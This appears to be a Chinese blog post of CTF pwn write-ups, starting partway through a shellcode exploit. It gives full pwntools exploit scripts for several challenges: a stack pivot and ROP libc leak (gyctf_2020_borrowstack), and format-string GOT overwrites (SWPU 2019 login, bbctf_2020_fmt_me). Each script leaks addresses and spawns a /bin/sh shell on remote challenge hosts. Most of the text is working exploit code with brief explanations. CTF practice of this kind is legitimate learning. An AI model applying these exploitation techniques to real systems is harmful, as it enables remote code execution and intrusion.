context.arch = 'amd64'
#p = remote('pwn.archive.xdsec.chall.frankli.site' ,10022)
p = process('./shellcode')

shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
print(len(shellcode))
payload = shellcode

p.recvuntil('Tell me what to do:\n')
p.sendline(payload)

p.interactive()

gyctf_2020_borrowstack

一道栈迁移的题,且bss段和got的地址相距较近,需要利用ret抬高栈帧,不然执行ROP的时候会修改got表中的值,导致泄漏的地址不对。

exp

from pwn import *
io = remote('node4.buuoj.cn',29764)
#context.log_level = 'debug'
elf = ELF('./borrowstack')
libc = ELF('./libc-2.23.so')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
bank_addr = 0x0000000000601080
pop_rdi_ret = 0x0000000000400703
leave_ret = 0x0000000000400699
ret = 0x00000000004004c9

payload = b'a' * 0x60 + p64(bank_addr) + p64(leave_ret)
io.sendafter('Welcome to Stack bank,Tell me what you want', payload)

io.recvuntil('Done!You can check and use your borrow stack now!')
payload = p64(ret) * 20 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.send(payload)

io.recvline()
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.info(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
shell = libc_base + 0x4526a

payload = b'a' * 0x60 + p64(0xdeadbeef) + p64(shell)
io.send(payload)

io.recvuntil('Welcome to Stack bank,Tell me what you want\nDone!You can check and use your borrow stack now!')
io.send(str(1))

io.interactive()

[SWPU 2019]login

格式化字符串在bss段的利用,对这个点不熟悉的话可以先去做做HITCON—Traning LAB 9 那道例题,这两题差不多

exp

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./SWPUCTF_2019_login')
io = process('./SWPUCTF_2019_login')
#io = remote('1.14.71.254', 28044)
#io = remote('node4.buuoj.cn', 27316)
libc = elf.libc
#libc = ELF('./libc-2.27_32.so')
sl = lambda s : io.sendline(s)
sa = lambda s, payload : io.sendlineafter(s,payload)
sd = lambda s : io.send(s)
rv = lambda n : io.recv(n)
rc = lambda : io.recv()
ru = lambda s : io.recvuntil(s)

def ms(name,addr):
print(name + "---->" + hex(addr))

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(io,"b *{}".format(hex(mallocr)))

printf_got = elf.got['printf']
ms("printf_got", printf_got)
name = "lnk"
sa("Please input your name:",name)
ru("Please input your password:")
payload = 'aaaa%6$p'
sl(payload)
ru("aaaa")
ru("0x")
ebp_content = int(rv(8), 16)
#change = (int(io.recvline()[2:10],16)-4)&0xff
#ms("change",change)
change = (ebp_content - 0x4) & 0xff
ms("stack", ebp_content)
ms("change", change)

payload1 = "%" + str(change) + "c%6$hhn"
ru("Try again!")
sl(payload1)

payload2 = "%" + str(0x14) + "c%10$hhn"
ru("Try again!")
sl(payload2)
#raw_input('>')

# modify again
payload3 = "%" + str(change - 0x4) + "c%6$hhn"
ru("Try again!")
sl(payload3)

payload4 = "%" + str(0xb016) + "c%10$hn"
ru("Try again!")
sl(payload4)
#raw_input('>')
#debug(0x80485af,0)

# leak printf address to get system address
ru("Try again!")
leak_printf = "bbbb%9$s"
sl(leak_printf)
ru('bbbb')
printf_addr = u32(rv(4))
ms("printf_addr", printf_addr)
libc_base = printf_addr - libc.symbols['printf']
ms("libc_base", libc_base)
system_addr = libc_base + libc.symbols['system']
ms("pt_libc", libc.symbols['printf'])
ms('sys_libc', libc.symbols['system'])
ms("system_addr", system_addr)

syslow = system_addr & 0xffff
syshigh = system_addr >> 16

payload5 = "%" + str(syslow) + "c%9$hn"
payload5 += "%" + str(syshigh - syslow) + "c%8$hn"
ru("Try again!")
sl(payload5)

ru("Try again!")
sl("/bin/sh")

io.interactive()

bbctf_2020_fmt_me

snprintf造成的格式化字符串漏洞,一开始没找到利用点,后来经过提醒才想到改写got表,(我是🥬🐔呜呜呜

首先程序执行一次就退出了,不能循环利用,我们先改system@gotmain函数的地址,达到无限循环的目的

payload1 = fmtstr_payload(6, {system_got:main_addr}, write_size='long')

偏移是6是因为snprintf从右到左传参,要减去另外两个参数,当然也可以像下图这样数出来

接下来改写atoi函数的got为system函数的装载地址也就是system@plt+6,最后传入/bin/sh就可以getshell

exp

from pwn import *
#io = process('./bbctf_2020_fmt_me')
io = remote('node4.buuoj.cn',27747)
elf = ELF('./bbctf_2020_fmt_me')
context.log_level = 'debug'
context.arch = 'amd64'

system_got = elf.got['system']
print('sys_got-->', hex(system_got))
main_addr = elf.sym['main']
print('main-->', hex(main_addr))
atoi_got = elf.got['atoi']

io.recvuntil('Choice: ')
io.sendline(str(2))
payload1 = fmtstr_payload(6, {system_got:main_addr}, write_size='long')
#raw_input('>')
io.sendlineafter('Good job. I\'ll give you a gift.', payload1)

payload2 = fmtstr_payload(6, {atoi_got:0x00401056}, write_size='long')
io.recvuntil('Choice: ')
io.sendline(str(2))
io.sendlineafter('Good job. I\'ll give you a gift.', payload2)

io.recv()
io.sendline(b'/bin/sh')

io.interactive()

作者

秋秋晚

发布于

2021-12-11

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...